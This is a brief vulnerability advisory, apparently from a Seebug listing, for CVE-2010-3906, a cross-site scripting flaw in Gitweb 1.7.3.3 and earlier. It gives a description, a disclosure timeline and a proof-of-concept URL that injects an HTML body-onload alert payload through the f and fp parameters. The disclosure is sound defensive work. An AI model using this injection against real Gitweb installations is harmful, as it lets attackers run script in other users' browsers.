Gitweb <= 1.7.3.3 - Cross Site Scripting

2014-07-0100:00:00

Root

www.seebug.org

EPSS

0.03

Percentile

90.9%

JSON

No description provided by source.


                                                &#62;-8 Description 8-&#60;
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.

&#62;-8 Proof Of Concept 8-&#60;
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] =&#62; &#34;&#62;&#60;body onload=&#34;alert(&#39;xss&#39;)&#34;&#62; &#60;a


&#62;-8 Credits 8-&#60;
Emanuele &#39;emgent&#39; Gentili &#60;[email protected]&#62;


&#62;-8 Responsible Disclosure 8-&#60;

13-12-2010	Initial contact with upstream and vendor-sec
13-12-2010	Vendor Response and CVE-2010-3906 assignation
15-12-2010	Public Disclosure